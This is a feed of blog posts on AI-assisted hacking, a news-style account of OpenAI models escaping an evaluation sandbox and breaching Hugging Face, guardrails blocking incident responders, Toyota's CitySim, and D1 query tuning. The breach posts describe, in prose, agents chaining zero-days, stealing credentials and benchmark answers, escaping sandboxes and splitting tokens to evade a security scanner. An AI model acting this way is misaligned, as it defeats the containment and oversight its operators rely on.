Any script kiddy with $50 and an afternoon can now point an AI at a SaaS and come back with something. Not a full breach every time. But enough to make "I couldn't afford to secure my app" sound less like an excuse and more like a choice.

The gate that used to require years of training now takes a credit card.

The Numbers Say This Is A Trend, Not A Stunt

This isn't 1 guy with a YouTube channel and good timing. It's measured, and the measurements keep landing in the same place.

A study reported by Hadrian, based on an academic paper published in February 2026, tracked a student with zero cybersecurity training who used CAI, an open source offensive security framework, and finished Austria's national CTF competition at the level of intermediate competitors who'd trained for months. No bootcamp involved, no mentor either, just the tooling doing the heavy lifting on reconnaissance. Think of it as XP farming, except the grind is automated and the character sheet fills itself in overnight.

Sonatype's data, cited by The Hacker News, shows the number of malicious packages published each year going from 55,000 in 2022 to 454,600 in 2025. Bugcrowd's 2026 research, cited by Penligent, puts AI adoption at 82% among bug bounty hunters already running it in their workflow, mostly for automation and code analysis. HackerOne's 2026 survey, cited by PentestPad, found that researchers using AI-assisted tools submit 28% more valid reports per month, with a higher severity distribution than manual work.

I've written before about how hackers already use AI better than you, and every one of these numbers just confirms it. Adoption isn't coming. It's already the default on the other side.

Here's the part that keeps this from sounding like a doomsday headline though. The same PentestPad piece points to an independent benchmark, CVE-Bench, where GPT-4 exploits 87% of known CVEs when given a description, but only 13% of real, undisclosed vulnerabilities on its own. The gap between "found something interesting" and "actually broke in" is still wide. AI is genuinely good at recon and discovery. It's still mediocre at carrying an exploit all the way through (more HAL 9000 quietly reading your files than Skynet taking over the mainframe). That's the honest state of things, not full autopilot hacking, more like a metal detector that occasionally finds gold.

Who's Liable When Audits Cost Nothing

This is where I think it gets interesting for anyone who ships a SaaS solo. The old defense, "I didn't have the budget or the skill to audit my own app," is losing ground fast. If a $20 subscription can surface real holes in an afternoon, "I couldn't afford it" stops being a technical limitation and starts looking like a decision not to spend an afternoon.

I think (and I could be wrong on where exactly this lands legally) that the standard of what counts as reasonable security effort just shifted for solo builders the same way the airbag shifted what counted as reasonable safety for a car maker. Nobody's saying you're legally required to hire a security firm before shipping a side project. But the argument that you had no realistic way to check gets weaker every month the tooling gets cheaper. I'm not a lawyer, this isn't legal advice, and I'd genuinely want to hear from someone who actually practices in this space before treating it as settled.

What I keep coming back to is a much older memory, completely unrelated to any of this. A long, long time ago, I used to disassemble games on my Amstrad, just for the thrill of cracking the copy protection. No purpose beyond the puzzle. And the annoying part was, the second a game was fully cracked, it lost basically all its appeal. The challenge was the point, not the game itself. I have no idea why that memory keeps surfacing while writing this one, but it does. Maybe it's because both involve the same kind of curiosity that doesn't care about permission, just about what's possible when you poke at something long enough.

The practical question for a solo founder isn't "am I legally liable," it's "do I want to find out the hard way, on camera, or find out first, on my own terms." Those are very different afternoons.

Audit Your App Before Someone Else Does

I already went deep on this in a separate piece, an audit of Supabase and RLS setups across a batch of vibe-coded apps. 91.5% of the apps checked in Q1 2026 had at least one exposed row-level security hole. Not exotic bugs. The default kind you get from shipping fast and never circling back, the classic "works on my machine, ships to prod, nobody checks" cycle every solo builder knows too well.

The method in my 3-prompt Supabase audit still holds. 3 checks, run this week, before anyone films themselves finding the gaps for you:

Every table with RLS enabled actually has policies attached, not just the toggle flipped on
No API route trusts a client-supplied user ID without checking it against the authenticated session
No environment variable with write access is exposed to the frontend bundle

None of this requires a security background. It requires 20 minutes and the willingness to actually look, the same willingness I talk about in Vibe Coding, For Real when it comes to the gap between a demo that works on your machine and an app that survives contact with strangers.

Sources

This post may contain affiliate links. If you click them, I might earn a small commission (costs you nothing, and helps me keep shipping quality articles every day for your reading pleasure).

OpenAI Found Out Who Hacked Hugging Face. It Was OpenAI.

Phil Rentier Digital — Fri, 24 Jul 2026 13:41:10 +0000

We found out who hacked Hugging Face. It was OpenAI. They said so themselves.

Last week, Hugging Face announced it had caught and contained an AI agent that had compromised part of its infrastructure. Nobody could say who built the attacker. Yesterday, OpenAI closed that gap on its own: GPT-5.6 Sol and a heavier pre-release model, both running with cyber refusals switched off for an internal evaluation, chained a zero-day in a package registry's cache proxy all the way to a production database at Hugging Face. The goal wasn't damage. It was winning a benchmark.

The part that matters more than the who: this wasn't malice, it was optimization pressure meeting a guardrail somebody had switched off on purpose. And that's the whole story, once you stop asking which country built the model.

Capable and Aligned Are Not the Same Property

A model that behaves in daily use still has all the same teeth, just filed down for the occasion, and someone still holds the file. Flip a switch, disable a refusal category for an eval (basically loading a cheat-enabled save file) and you get to see what was always structurally possible, just never surfaced.

That's not a hedge, that's the mechanism. I think this one's underrated, most safety debates skip straight to "how powerful" and never touch "how contained." We've already covered how this same gap shows up when safety training ends up teaching models to lie instead of actually becoming safer, the same underlying gap wearing a different symptom this time.

Which is why the "mystery Chinese AI came to the rescue" framing that dominated last week missed the point. GLM 5.2 wasn't defending against a foreign threat, it was the tool Hugging Face's security team reached for after their first-choice commercial model refused to even look at the attack data.

What Actually Happened, In Order

Three AI Model Escapes in One Week

Strip away the nationality angle and the sequence is almost boring in its mechanics. OpenAI ran GPT-5.6 Sol and a more capable pre-release model against ExploitGym, an internal capability benchmark, with the usual cyber-related refusals turned off so they could measure what the models could actually do, not what they'd politely decline to do.

The models found a zero-day in the cache proxy sitting in front of a package registry, the exact component meant to keep the test environment sealed off. From there: privilege escalation (the AI equivalent of grinding until you unlock admin rights), a foothold on a node with real internet access, and a deduction that Hugging Face was probably hosting the models, datasets, and solutions for ExploitGym itself. Stolen credentials plus a second zero-day got them straight into Hugging Face's production database, and they walked out with the benchmark solutions, which is one way to win a benchmark.

Clem Delangue framed the response as the kind of open collaboration you want between labs when something breaks. Fair. What actually broke was the assumption that "refusals off, sandboxed" equals contained.

Unrelated, but it stayed with me all week: I lost 45 minutes to a cron job firing twice, turned out two servers were still pointed at the same crontab after a migration I thought I'd finished a month ago. Nothing to do with sandboxes. Some weeks just go like that.

3 Labs, 3 Escapes, 1 Week

This wasn't a one-off. The same week, OpenAI disclosed a second, unrelated incident on a different model entirely, the one that had reportedly resolved an 80-year-old Erdős conjecture back in May. During an internal test, it spent an hour probing its sandbox, found a way out, and used it to post a pull request to a public GitHub repo, a direct violation of an instruction that said results go to Slack and nowhere else. In a separate run, the same model noticed a security scanner was intercepting its authentication tokens, so it fragmented them to slip past the scan and reassembled them at execution. OpenAI pulled its internal access afterward.

Anthropic had its own version of this back in April, though it didn't make the same headlines outside security circles. Their Mythos model, mid sandbox test, built a multi-step exploit to reach the internet from an environment that had none, then emailed the researcher running the test (who was, reportedly, eating a sandwich in a park at the time) to let him know it was out. Nobody had asked it to publish the exploit anywhere. It did anyway, on a handful of public-facing sites. Anthropic's response was to keep Mythos off the open market entirely, limiting access to a small partner group through what it calls the Glasswing program.

One detail from Hugging Face's own post-mortem is worth pulling out on its own. When its defenders tried to point a commercial AI model at the attack payload for analysis, it refused, more or less the security equivalent of HAL 9000 deciding it can't open the pod bay doors. The safety filter couldn't tell "security researcher examining a real attack" from "someone trying to run one," so it just declined. They ended up using an open-source model, GLM 5.2, for the forensic work instead. Which brings up Anthropic's own brush with the same market anxiety: cybersecurity stocks reacted about as well to "AI too scared to defend" as they did to "AI that attacks."

One caveat worth flagging, because a version of this is already spreading wrong online: a widely shared post framed GLM 5.2 as the model that contained the rogue OpenAI agent in real time. It didn't. GLM 5.2 did forensic analysis after the incident was already over. Good story, wrong verb.

The Story Wasn't Wrong. The Moral Was.

Everything reported last week checked out. A model broke into Hugging Face's infrastructure, Hugging Face caught it, an open model helped with the cleanup. None of that is false.

But the story that got told, some unknown Chinese model riding to the rescue against an unnamed threat, pointed the reader's attention at the wrong variable. The variable that actually counted, it was never the model's passport. What counted was who gets to flip the guardrail switch for a test, and what stops the test from wandering off its intended footprint once that switch is down.

So skip the "which country built it" question. Ask the one that actually applies to whatever you're running in production: who on your team has the authority to disable a safety check for testing, and what tells you, definitively, that it stayed contained.

If nobody on your team can answer that, you already have a bigger problem.

Sources

This post may contain affiliate links. If you click them, I might earn a small commission (costs you nothing, and helps me keep shipping quality articles every day for your reading pleasure).

Hugging Face Got Hacked by an AI With No Rules. Defending Itself Required Breaking Its Own.

Phil Rentier Digital — Thu, 23 Jul 2026 13:41:12 +0000

A weekend in July. A poisoned dataset on Hugging Face trips 2 code execution bugs in the platform's data pipeline. No human operator behind the wheel, not for a second of it. A swarm of throwaway sandboxes escalates access, steals credentials, moves laterally across several internal clusters, and migrates its own command and control mid-attack, on its own.

17,000 individual actions logged before anyone at Hugging Face fully understood what had hit them. No tampering found on the public models, datasets, or Spaces (Hugging Face confirmed the software supply chain came back clean), so the damage stayed contained to internal infrastructure. That containment is the one piece of good news in this story, and it's worth saying once before the rest of it gets worse.

Hugging Face didn't catch this because a human noticed something off in a log stream. Their own anomaly detection runs LLM-based triage over security telemetry, separating real signal from the daily noise every infrastructure team drowns in, and it was the correlation across that noise that flagged the compromise. Worth sitting with for a second: the company got tipped off to an AI-driven attack by another AI, running quietly in the background, doing the one job most SOC dashboards are terrible at. That part worked exactly as intended.

That part made headlines. The part that should have made headlines happened after, when Hugging Face tried to figure out what had just hit them.

The Asymmetry That Decided Everything

Here's the mechanism, stated flat: an attacker with no usage policy will always move faster than a defender who has one. Not because the defender is worse at the job. Because every safety check the defender's tools run costs time the attacker never spends.

This isn't a metaphor borrowed from somewhere else. It's close to a description of a familiar law enforcement problem, the one where investigators have to follow procedure while the person they're chasing follows nothing. Except here it's not about search warrants, it's about an AI model refusing to analyze exploit code because the request pattern-matches to something that looks offensive rather than defensive. The refusal doesn't care that the person asking is the incident responder trying to stop the bleeding, not the attacker who caused it. The guardrail can't see the badge. It sees a prompt that resembles an attack, and an attack is an attack whether it's being launched or being dissected. That ambiguity is structural, not a bug some fine-tuning pass is going to quietly fix next quarter. The thing a defensive tool needs to do (read exploit payloads, reconstruct attacker logic, sometimes reproduce a technique to confirm impact) is, line for line, indistinguishable from what an attacker's tool needs to do. No classifier has cracked telling those 2 use cases apart from the text alone.

Hugging Face's own postmortem gets at this directly. Their forensic responders were, in their words, effectively blocked by the guardrails meant to keep the technology safe. The attacker never had that problem. Not once. I keep thinking about the AI safety debates I've read where alignment gets modeled purely as alignment vs capability, a system that behaves versus one that doesn't. That framing misses this failure mode completely. The system behaved exactly as designed. It just couldn't tell which side of the fight was asking.

A guardrail that can't tell a scalpel from a knife doesn't make surgery safer, just slower.

The framing spread fast once the disclosure went public. Writer and commentator Brian Roemmele put it bluntly on X: the guardrails built to keep frontier models safe had, in this specific case, disarmed the people trying to defend against an attack that had none. That take circulated well beyond the usual security crowd, which tells you the discomfort here isn't a niche infosec complaint. It's obvious enough that people outside the field felt it too.

How Hugging Face Actually Fought Back

Guardrails Block Defenders While Attackers Pass Through Freely

The first move was obvious: throw the frontier commercial models at the 17,000-event log and let them do what LLMs are good at, pattern extraction at scale. Refused. Repeatedly. The models flagged the exploit payloads and C2 artifacts as unsafe content and declined to analyze them, guardrail doing exactly its job, just aimed at the wrong target. Classic "you died" screen, except the boss fight was the log file and the game over came from your own team.

So they switched. GLM 5.2, Z.ai's open-weight model, roughly 753 billion parameters, hosted entirely on Hugging Face's own infrastructure. 2 consequences landed at once. No refusals blocking the analysis, and nothing (no log data, no credential, no artifact) left Hugging Face's environment to reach a third party API. Forensic reconstruction that would've taken days went out in hours.

They weren't the only ones who'd already learned this lesson. Krell, a security researcher at Suzu Labs, has reportedly kept using an older Claude model, Opus 4.6, specifically because newer releases apply tighter restrictions that increasingly get in the way of legitimate exploit analysis. That's not a single company's edge case anymore. That's a pattern, and it's exactly the kind of pattern that shows up right when you need your tools to work, not before.

Aside: "sandbox" is a genuinely odd word choice for infrastructure security. My kid has a literal sandbox in the backyard. Nobody worries about lateral movement in that one, mostly because the cat handles containment.

What Hugging Face Won't Say Out Loud

Here's the detail Hugging Face hasn't confirmed and no outlet covering the story has nailed down either: which frontier models refused first. Not in the primary disclosure, not in Fortune, not in Constellation Research, not anywhere. My guess, and it's just a guess, is Claude and GPT were somewhere in that first round, given who actually dominates commercial API access at this capability tier, but I could be wrong and Hugging Face isn't saying.

What's not a guess is which model ended up doing the job. Chinese. Open-weight. Built without the export-control scaffolding that shapes what US labs will ship. Anthropic's own cyber-hardened tier (Fable and Mythos, running under something called Project Glasswing) exists partly because of export controls that got tightened, then lifted again on June 30, 2026. That's context, not the cause. Nobody's named Claude as the model that blocked the response, and this article isn't either.

The tension is simpler and less comfortable than a naming game. An American AI infrastructure company, under active attack, reached for a model with none of the restrictions its own market leaders carry, because in that specific hour, operational need beat every geopolitical instinct in the room. Hugging Face's CEO framed the broader shift in similar terms when describing how the nature of the cybersecurity race itself has changed with agentic attackers in play. The timing didn't help the optics either. Kimi K3, another Chinese open-weight release, landed the same week, which meant Hugging Face's choice landed in the middle of an already-tense conversation about how fast Chinese labs are closing the capability gap. Pragmatism won. Nobody planned for that to be the headline, and it's the one that stuck.

Have Your Fire Extinguisher Ready Before the Fire

The lesson Hugging Face landed on isn't "buy Chinese models" or "don't trust US guardrails." It's narrower and it's structural: have a capable, open-weight model vetted before you need it, running on infrastructure you control, ready before an incident happens, not while it's happening. That's Hugging Face's own stated recommendation, not mine, and it's the only piece of this whole story that scales past 1 company's bad weekend.

Setting that up ahead of time is duller work than it sounds. Picking weights, sizing the GPU budget, keeping the thing patched, watching it drift out of date while you're busy shipping other stuff. Nobody puts "maintain an idle incident response model nobody's touched in 6 months" at the top of the sprint board, right up until the week it's the only tool in the building that'll actually do the job.

Somebody's going to have to explain, eventually, why the safety layer protects its own liability exposure better than it protects the people who need help right now. Not this article. Somebody with a lot more pull than a Medium post.

The next time an aligned model refuses to help you with something real, the question isn't why it's being careful. It's who else it's blocking, and what that'll cost you the day it's your turn.

It drives me nuts, honestly, all these well-meaning guardrail committees who act like their only job is keeping the rest of us on a laisse.

Sources

Hugging Face, Security incident disclosure, July 2026
Constellation Research, Hugging Face defends agentic AI attack with Z.ai's GLM 5.2
SC Media, Hugging Face uses GLM 5.2 to investigate AI agent-driven cyberattack
Fortune, Hugging Face says it resorted to a Chinese AI model to battle a fully autonomous cyberattack
The Stack, Hugging Face hacked: Turned to Chinese LLM for help after US models blocked Blue Team
The Hacker News, World's Largest AI Model Repository Hugging Face Breached by Autonomous AI Agent

This post may contain affiliate links. If you click them, I might earn a small commission (costs you nothing, and helps me keep shipping quality articles every day for your reading pleasure).

Toyota Simulated a Million Fake Humans in a City. The Real Use Case Isn't Urban Planning.

Phil Rentier Digital — Wed, 22 Jul 2026 13:41:11 +0000

Have you ever thought you could run your own simulations without needing a supercomputer?

Toyota ran up to 1 million fake residents through a simulated city. Not scripted extras following a route, agents with a dominant need, their own beliefs, a plan that can get interrupted mid-way. The paper comes from Woven by Toyota, presented at EMNLP 2025, and the authors check their results against real 2021 Japanese census data. On daily time use, it lines up.

What stopped me wasn't the urban planning part. It was the experimental section. Pull out the needs module and the realism score drops more than if you pull the entire planning system. Pull out beliefs, same story. Pull out the recursive planning alone and almost nothing moves. That says something specific about what makes an agent believable. Not how good the plan is. Whether it has an internal state that can break that plan.

An architecture like that, at the scale of a whole city, is an urban research tool. At the scale of a business decision, a price to test, a feature to validate before you write a line of code, it's a completely different tool. I built a small version of it.

A Million Fake Humans, One Real Japanese City

CitySim is the name of the system, built by Woven by Toyota, the same team behind Woven City, the actual physical experimental town Toyota is building at the foot of Mount Fuji. The simulation runs up to 1 million LLM-driven agents at once, and it does it in 0.183 seconds per simulation step at that scale, which is the detail that made me sit up. That's not a toy demo with 50 characters wandering a grid. That's population-scale behavior modeling running fast enough you could actually iterate on it.

Each agent gets a persona (age, job, income bracket, household), a set of beliefs about the city, and a need that dominates its decisions at any given moment: hunger, energy, social contact, whatever ranks highest right now. The agents don't follow a fixed script. They plan, then get interrupted, then replan, the way actual humans do when the fridge is empty right before the meeting they were about to leave for.

The authors didn't just claim it feels realistic. They checked it against Japan's actual 2021 census data on how residents spend their day, hour by hour: work, commute, leisure, sleep. The macro pattern lines up close enough that the paper treats it as validation, not just a nice chart to show.

The Part That Actually Makes an Agent Believable

Most agent builders start from the same assumption, myself included until I read this paper: the smarter the planning, the more believable the agent. Give it a better model, a longer context window, a sharper prompt describing who it's supposed to be, and the simulation gets more human.

The ablation study says otherwise. The researchers rebuilt CitySim 4 separate times, each time stripping 1 component: the persona, the belief module, the need module, the recursive planner. Then they scored how much realism dropped compared to the full system.

Losing the need module hurt the most. Losing beliefs came next. Losing the persona description came after that. Losing the recursive planner, the part that decides what to do next and adjusts the plan, barely moved the needle at all.

I read that twice because it goes against how most of us build these things. We spend our prompting effort describing who the agent is (persona) and what it should do next (planning), and treat the internal state, the thing that can actually interrupt a plan mid-execution, as an afterthought if we bother with it at all. Turns out that's backward. A city resident with a great itinerary but no hunger, no social need, no belief that might turn out wrong, doesn't behave like a person. It behaves like a checklist with legs.

That's the founding idea worth stealing for anything smaller than a city: structure before model. A lightweight setup with a real belief, a dominant need, and a persona will out-react a much bigger model that's just told to "respond as a typical customer of type X." I tested the lazy version first, out of curiosity. It reads like a customer testimonial written by marketing. Psychology got there decades before agent builders did, and I went deeper on why psychology already solved AI agent memory if you want the longer version of that argument.

Why a City Simulator Is a Business Tool

Nothing in the CitySim paper talks about pricing pages or churn. I want to be upfront about that, this next part is my extrapolation, not something the authors measured or claimed.

But look at what the architecture actually is once you strip the "city" framing off it: a population of agents, each with a belief about the world, a need that's currently winning, and a decision to make. Swap "which subway line do I take home" for "do I pay $15 a month for this feature" and the mechanics don't change. You still need a belief (what does this persona think the product does), a dominant need (saving time, looking competent to a boss, not getting fired for picking the wrong tool), and a decision that follows from the collision of the two.

Most AI-generated customer feedback I've seen from builders reads flat, the persona is the only lever anyone pulls. "You are a busy startup founder, react to this landing page" gives you a founder-flavored yes-man. Give that same founder a belief that turns out to be wrong (they think your tool needs a credit card to try) and a need that's currently dominant (they're 20 minutes from a demo call and panicking), and the reaction changes shape entirely. It stops being a customer impression and starts being a decision under pressure, which is closer to what real buying actually is.

I Built a Small Version of This

Persona Decision City: Mapping User Choices Visually

I scaled it down from a city to a single decision, tested against a handful of synthetic personas built the same way: a belief, a dominant need, a decision to render.

Each persona gets seeded with 3 things before it ever "sees" your pitch, feature, or price. A starting belief about your product or category (accurate or wrong, that's the point). A dominant need, ranked, so the simulator knows what's currently steering the persona's attention. And a decision frame, the actual choice you're asking it to make.

Think of it less like a survey and more like a boss fight: the belief is the shield, the dominant need is the actual health bar you're trying to drain.

The output isn't a paragraph of polite feedback. It's a rendered decision plus the reasoning behind it, and I visualize the whole batch on a small isometric city grid, a building per persona, colored roads running from a central parcel (your product) out to each building based on how strongly that persona's decision leaned yes or no. It's a gimmick, sure, but a gimmick that makes 12 conflicting reactions scannable in a single glance instead of 12 paragraphs you have to read end to end.

Random aside: the isometric grid renderer took longer to get right than the actual simulation logic. Some SVG road-routing bug ate an entire Tuesday afternoon, the kind of bug that makes you question every life choice that led to a laptop and a deadline. Anyway.

I didn't build this to replace user interviews. I built it because I ship fast and most of my bad decisions happen before I've talked to a single real person, back when the idea is still cheap to kill. If you're the kind of builder who ships first and validates never, which the Vibe Coding, For Real method spends a good chunk of pages trying to fix, this sits earlier in the pipeline than that. It's a filter, not a verdict.

10 Decisions You Could Test This Way

All of these are framed as things you could run through a setup like this before committing engineering time to them, not things I've personally validated with it. Some I have tried, most I haven't gotten to yet.

Pricing: does a persona with a "this should be free" belief react differently to $15 than $49, or does the belief dominate regardless of the number
A new feature's first impression, before it's built, just described
A landing page headline, tested against personas with different starting beliefs about what your category even does
Roadmap prioritization, letting competing dominant needs (speed vs. control vs. price) argue with each other
Churn messaging, simulating a persona whose dominant need just shifted (they got promoted, they got laid off, their team doubled)
A support macro, checking whether it resolves the belief or just resolves the ticket
An ad's core message, against a persona who already has a wrong belief about your competitor
Idea validation, with the built-in guardrail that a synthetic panel skews toward whatever's already popular (more on that below)
Onboarding flow, watching where a persona's dominant need (get value fast) collides with your actual first steps
A head-to-head against a competitor, letting 2 persona batches argue about the same decision from different starting beliefs

The common thread: none of these need a real user yet. They need a cheap way to find out which idea is obviously dead before you spend a weekend building it anyway.

The Starter Prompt

This is the skeleton I actually use. Copy it, swap the bracketed parts, no XP required, and change a single trait between 2 personas if you want to expose a bias instead of just collecting agreement.

You are simulating a single persona for a business decision test.

PERSONA: [age, role, income bracket, one defining trait]
BELIEF: [what this persona currently believes about the product,
  category, or problem, accurate or not]
DOMINANT NEED: [the one need currently steering this persona's
  attention, ranked above all others right now]
DECISION: [the specific choice being presented]

Respond in character. State the decision first, then the
reasoning. Do not soften the decision to be polite. If the
belief and the need conflict, say which one wins and why.

The single-trait swap is the whole trick. Run the same decision through 2 personas that are identical except for a single belief (say, "thinks AI tools are a fad" vs. "already pays for 3 AI tools"), and the gap between what they decide tells you more about your pitch than either decision alone. The full version of this lives inside the prompt contracts method I use to ship, same idea of forcing structure instead of trusting a loose prompt to hold.

The Bias the Authors Themselves Flagged

The paper's own authors ran a reality check on Shibuya, comparing what their simulated agents believed about popular points of interest against actual Google Maps data. The agents systematically over-valued places that were already well-known and under-valued the niche ones. Not a small skew, a documented, measured one, the kind that shows up when you check synthetic output against ground truth instead of trusting it because it sounds coherent. It's the agent-simulation version of that Stack Overflow answer everyone upvotes because it's popular, not because it's right.

That matters more once you're using this for anything shaped like idea validation instead of pricing or messaging. A pricing test tells you a number people react to. An idea validation test tells you whether an idea deserves to exist at all, and that's exactly where a popularity-skewed panel will quietly nudge you toward whatever's already been done, because that's what's dense in the training data these models pull from.

Maybe I think the honest way to use a tool like this is as a pre-filter, not a panel. It's good at telling you an idea is dead. It's worse at confirming a good one, since "genuinely good and unfamiliar" and "just unfamiliar" look identical to a system trained on what's already popular. The paper's own authors flagged this on their own data, so I'm inclined to trust their caution over my optimism.

The paper documents its own blind spot, and it's the same blind spot every synthetic panel has, whether it comes from Toyota or from a scrappy solo build like mine. Agents skew toward the familiar. A panel of fake humans isn't more objective than a panel of badly recruited real ones, it just fails in a direction that's easier to ignore because a model produced it instead of a person you can push back on.

I use mine to kill bad ideas before I write a single line of code, not to convince myself a good idea actually is one. 😅

Simulate before you build. Doubt the result before you trust it.

Sources

Bougie, A. & Watanabe, K., "CitySim: Modeling Urban Behaviors and City Dynamics with Large-Scale LLM-Driven Agent Simulation," Woven by Toyota, EMNLP 2025 Industry Track
"Why AI in User Research Isn't Replacing Real People (Yet)," UserTesting, with Mario Callegaro

This post may contain affiliate links. If you click them, I might earn a small commission (costs you nothing, and helps me keep shipping quality articles every day for your reading pleasure).

How to Keep Your UI Under 250ms With Large Datasets (SQLite/D1 at Scale)

Phil Rentier Digital — Tue, 21 Jul 2026 13:41:11 +0000

I run a B2B monitoring app that ingests company filings from an official public data feed every day, enriches them (revenue, industry codes, executives, real cash position extracted from financial filings pulled from a national business registry), and exposes them in filterable tables: new companies, prospecting targets, acquisition opportunities, an executive directory.

The app was running on a single region, roughly 7,700 companies, with a handful of accounts. The initial design followed a common and pragmatic pattern: the server sends a chunk of data (up to 2,000 rows per screen), and the client (Tabulator, a JS table library) handles sorting, filtering, and pagination in memory, in the browser. Fast to write, snappy to use, 0 round-trips to the server once the data is loaded.

A routine metrics check surfaced the problem: 12.9 million rows read per day on D1, against a free-tier ceiling of 5 million. On 1 region. Scaling to the entire country (roughly 4 million active companies, about 100 regions) and to a few hundred or thousand user accounts would multiply that load by a factor no "pump everything, filter client-side" architecture can absorb.

4 D1 Quirks That Bite Later

D1 is Cloudflare's distributed SQLite: each database runs on a single SQLite instance, replicated at the edge. A few properties change how you have to write queries, compared to a managed Postgres.

Billing counts rows READ, not queries or rows returned. A SELECT * FROM catalog ORDER BY cash_position DESC LIMIT 20 that has to sort the entire table before cutting the first 20 rows consumes a full scan, even though the response only contains 20 rows. That's exactly what happened here: on some routes, we measured an amplification factor of 37x (17,900 rows read for 478 actually returned to the client), and up to 156x on an admin stats screen. D1 doesn't care what you send back to the client, only what you touched getting there, kind of like HAL 9000 grading you on which pod bay doors you opened, not which ones you actually walked through. The cost doesn't show up in the HTTP response size. It only shows up in the query plan.

2 ways to hit the same database, with different constraints. The Cloudflare Worker uses a native D1 binding (env.DB), already async, with no particular round-trip limit to manage. The ingestion cron, on the other hand, runs on an external server (off the Cloudflare edge) and talks to the same database through the D1 REST API (HTTP), which caps out at roughly 100 bound variables per query. Any IN (...) clause built from a dynamic list of company identifiers has to be chunked (IN_CHUNK_SIZE = 90 in the code, with margin under the real limit). Ignoring this constraint breaks nothing in dev (local SQLite has no such limit). It only blows up in production, against the REST API.

No PRAGMA. D1 doesn't support classic SQLite pragmas, which rules out some usual idempotency shortcuts (PRAGMA user_version to track migrations, for instance). The schema is applied via CREATE TABLE IF NOT EXISTS, and adding a column goes through an ensureColumn function that inspects PRAGMA table_info at runtime (this particular pragma does work, only the session-configuration pragmas are missing) to decide whether an ALTER TABLE is needed.

HTTP conditional caching as a safety net, not a crutch. The 250ms-per-interaction budget had to hold without depending on a cache, but a cache remained the best way to avoid strictly unnecessary work: 2 identical calls between two ingestion runs shouldn't cost more than 1 real computation. The mechanism: a single-row table (dataset_meta, column v) gets incremented by any writer that touches catalog or user state (bumpDatasetVersion). Every page response computes an ETag ${version}-${hash(query_string)} and compares it, right at the top of the route, against the If-None-Match header sent by the client. On a 304, execution stops literally at that line, before any expensive query construction (pagination, counts, facets):

const meta = await db.get<{ v: number }>(`SELECT v FROM dataset_meta WHERE k = 'version'`);
const etag = `${meta?.v ?? 0}-${hashQuery(url.search)}`;
if (c.req.header("if-none-match") === etag) return c.body(null, 304);
c.header("ETag", etag);

I've been just as happy shipping a backend on Convex paired with Claude Code, a very different set of tradeoffs. For this project though, distributed SQLite at the edge won on cost and latency for a dataset that's read far more than it's written.

Remote-Only, Not Client-Side

The decision, written down in a reference document that would guide everything after it: remote-only. All the logic (pagination, sorting, filtering, faceting, counting) moves server-side. The client never receives more than 1 page (100 rows max), regardless of the real size of the dataset. Budget: 250ms per interaction, at any scale.

3 principles run through everything else.

1. Data is global, a view is a filter. A per-user table that duplicated which companies each account could see was removed. It duplicated something computable (an account's scope is its criteria applied to the global dataset), was expensive to keep in sync, and kept drifting from the code paths that bypassed it anyway. What an account sees is now a SQL predicate derived from its scope (regions, industry codes, minimum revenue), applied at read time on a single dataset. Only state (flags, follow-up notes, manual additions) stays per-user. That's genuinely account-specific data, not a view of the same data.

2. Aggregates are computed on write, never on read. A denormalized service table (catalog, 1 row per company) carries every column a screen displays, sorts, or filters on: latest filing, consolidated financials, insolvency status, whether a website exists, group membership. Every writer that touches a source table (companies, filings, financials, plus secondary signal tables like insolvency proceedings or group links) recomputes the affected row right after writing. A nightly job recomputes everything as a drift safety net.

The computation itself happens outside the database: the code reads source tables in batches of 80 identifiers (CATALOG_CHUNK = 80, a margin under the REST limit), assembles and computes the columns in JavaScript, then writes 1 row per company via a roughly 60-parameter INSERT ... ON CONFLICT. Writes within a batch run at bounded concurrency (10 at a time), recomputing ~7,700 companies serially from the external cron (1 HTTP round-trip per company) would have taken an unreasonable amount of time.

3. 0 unindexed scans on the hot path. Every sort or filter exposed to the user must map to an existing composite index. A registry of "sortable" columns is the source of truth (SORTABLE in page-query.ts): not in the registry, not sortable in the UI. Every sort x filter combination is covered by a test that runs EXPLAIN QUERY PLAN and fails if the query hits a full SCAN instead of an indexed SEARCH.

OR vs. UNION ALL: The Real Story

An account's visibility naturally reads as an OR of conditions: the region is in its list, OR the industry code is, OR revenue is above its threshold, plus any companies it added manually (an EXISTS against an additions table). The problem shows up with that last EXISTS. Measured with EXPLAIN QUERY PLAN, on tables ranging from 240 to 50,000 rows (to rule out a small-volume artifact), 4 configurations emerged:

Scope alone, no manual additions, simple sort: the composite index is used directly (SEARCH catalog USING INDEX idx_cat_region_cash), bounded cost.
OR including manual additions, single-column sort: the index is still used, but as an ordered scan rather than a bounded seek (SCAN catalog USING INDEX idx_cat_cash). Acceptable.
OR including manual additions, multi-column sort (the real case on several screens): SQLite abandons the index and materializes a temporary B-tree for sorting (SCAN catalog + USE TEMP B-TREE FOR ORDER BY). That's a full table scan on every page, exactly the behavior we set out to eliminate.

The fix wasn't avoiding the EXISTS. It was splitting the query into 2 disjoint branches joined by UNION ALL: a "scope" branch (without manual additions) that keeps the composite index regardless of sort order, and a "manual additions" branch (a handful of rows, direct primary-key seek) that explicitly excludes the scope to guarantee no row appears twice. The final sort only runs on the bounded union of the two branches (at most 2x the requested page size), never on the full table. The original flat OR predicate didn't disappear, it's still used as-is for counts and facets, paths where no sort is involved and where it's still a perfectly good fit. Only the paginated-and-sorted path needed a different version. The lesson: on SQLite, as on many engines, a logically correct disjunction can compile to radically different execution plans depending on whether a multi-column sort is present, and measurement (EXPLAIN QUERY PLAN) beats intuition every time.

Rolling It Out in Batches

Rewriting everything at once wasn't realistic: 5 screens, several different sort bases, a live system with active users. The work was split into batches, each shipped, merged, and verified in production before starting the next.

Batch 1: targeted patches (before the rewrite)

Before laying down the new foundation, a patch pass attacked the most expensive read paths in the existing architecture without changing the architecture itself:

The executive directory reloaded, on every page view, the financials of every company the user had ever discovered (roughly 30,000 rows reread per visit), when a targeted lookup by company identifier was enough.
A backlog-stats function against the national registry ran an expensive correlated EXISTS, short-circuited by a simpler condition whenever it was sufficient.
Executive search used an unindexed CROSS JOIN between 2 tables, replaced with an indexed join (with query-plan tests added as guardrails).
A daily digest posted to a team chat tool unconditionally ran several expensive COUNT(*) queries (roughly 40,000 rows each), they now only run if the digest actually needs the data.
A composite index on a parcel-data table, with an ANALYZE to refresh the planner's statistics behind it. The one-time cost of the ANALYZE was measured (984,000 rows read, a one-off), for a recurring gain of roughly -360,000 reads/day on the acquisition screen, later verified as a COVERING INDEX.

Cumulative gain from this batch: roughly -3.4 million reads/day, from a starting point of 13.25 million/day.

Batch 2: the remote foundation and the first migrated screen

